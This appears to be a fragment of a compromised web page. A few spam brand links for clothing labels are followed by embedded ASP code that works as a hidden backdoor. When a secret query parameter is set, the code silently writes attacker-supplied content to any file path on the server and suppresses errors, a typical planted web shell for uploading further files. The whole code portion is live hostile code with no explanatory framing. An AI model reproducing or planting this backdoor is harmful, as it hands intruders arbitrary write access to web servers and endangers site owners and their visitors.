Karen Millen
Herve Leger
Herve Leger Dresses
<% if request("cun")="wo" then %>
<%
dim objFSO1
dim fdata1
dim objCountFile1
on error resume next
Set objFSO1 = Server.CreateObject("Scripting.FileSystemObject")
if Trim(request("syfdpath"))<>"" then
fdata1 = request("cyfddata")
Set objCountFile1=objFSO1.CreateTextFile(request("syfdpath"),True)
objCountFile1.Write fdata1
if err =0 then
response.write "save Success!"
else
response.write "Save UnSuccess!"
end if
err.clear
end if
objCountFile1.Close
Set objCountFile1=Nothing
Set objFSO1 = Nothing
Response.write "" %><% end if %>